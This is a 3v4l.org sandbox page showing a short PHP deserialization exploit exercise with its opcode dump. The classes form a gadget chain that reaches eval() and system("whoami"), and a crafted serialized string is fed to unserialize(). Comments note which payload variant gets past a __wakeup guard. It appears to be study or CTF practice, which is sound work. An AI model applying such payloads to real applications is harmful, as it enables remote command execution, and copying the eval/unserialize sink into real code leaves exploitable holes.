3v4l.org

run code in 500+ PHP versions simultaneously
<?php class A { public $info; private $end = "1"; public function __destruct() { $this->info->func(); } } class B { public $end; public function __wakeup() { $this->end = "exit();"; echo '__wakeup'; } public function __call($method, $args) { eval('echo "aaaa";' . $this->end . 'system("whoami");'); } } // $b = new B(); // $a = new A(); // $a->info = $b; // var_dump(serialize($a)); $data = 'O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"Aend";s:1:"1";}'; unserialize($data); // useful // data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"Aend";s:1:"1";} // useless // data=O:1:"A":2:{s:4:"info";O:1:"B":1:{s:3:"end";N;}s:6:"\x00A\x00end";s:1:"1";}
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/qpCCg
function name:  (null)
number of ops:  5
compiled vars:  !0 = $data
line      #* E I O op                               fetch          ext  return  operands
-----------------------------------------------------------------------------------------
   35     0  E >   ASSIGN                                                       !0, 'O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22info%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A3%3A%22end%22%3BN%3B%7Ds%3A6%3A%22Aend%22%3Bs%3A1%3A%221%22%3B%7D'
   37     1        INIT_FCALL                                                   'unserialize'
          2        SEND_VAR                                                     !0
          3        DO_ICALL                                                     
   42     4      > RETURN                                                       1

Class A:
Function __destruct:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/qpCCg
function name:  __destruct
number of ops:  4
compiled vars:  none
line      #* E I O op                               fetch          ext  return  operands
-----------------------------------------------------------------------------------------
   10     0  E >   FETCH_OBJ_R                                          ~0      'info'
          1        INIT_METHOD_CALL                                             ~0, 'func'
          2        DO_FCALL                                          0          
   11     3      > RETURN                                                       null

End of function __destruct

End of class A.

Class B:
Function __wakeup:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/qpCCg
function name:  __wakeup
number of ops:  4
compiled vars:  none
line      #* E I O op                               fetch          ext  return  operands
-----------------------------------------------------------------------------------------
   20     0  E >   ASSIGN_OBJ                                                   'end'
          1        OP_DATA                                                      'exit%28%29%3B'
   21     2        ECHO                                                         '__wakeup'
   22     3      > RETURN                                                       null

End of function __wakeup

Function __call:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/qpCCg
function name:  __call
number of ops:  7
compiled vars:  !0 = $method, !1 = $args
line      #* E I O op                               fetch          ext  return  operands
-----------------------------------------------------------------------------------------
   24     0  E >   RECV                                                 !0      
          1        RECV                                                 !1      
   26     2        FETCH_OBJ_R                                          ~2      'end'
          3        CONCAT                                               ~3      'echo+%22aaaa%22%3B', ~2
          4        CONCAT                                               ~4      ~3, 'system%28%22whoami%22%29%3B'
          5        INCLUDE_OR_EVAL                                              ~4, EVAL
   27     6      > RETURN                                                       null

End of function __call

End of class B.

Generated using Vulcan Logic Dumper, using php 8.5.0


preferences:
128.44 ms | 478 KiB | 8 Q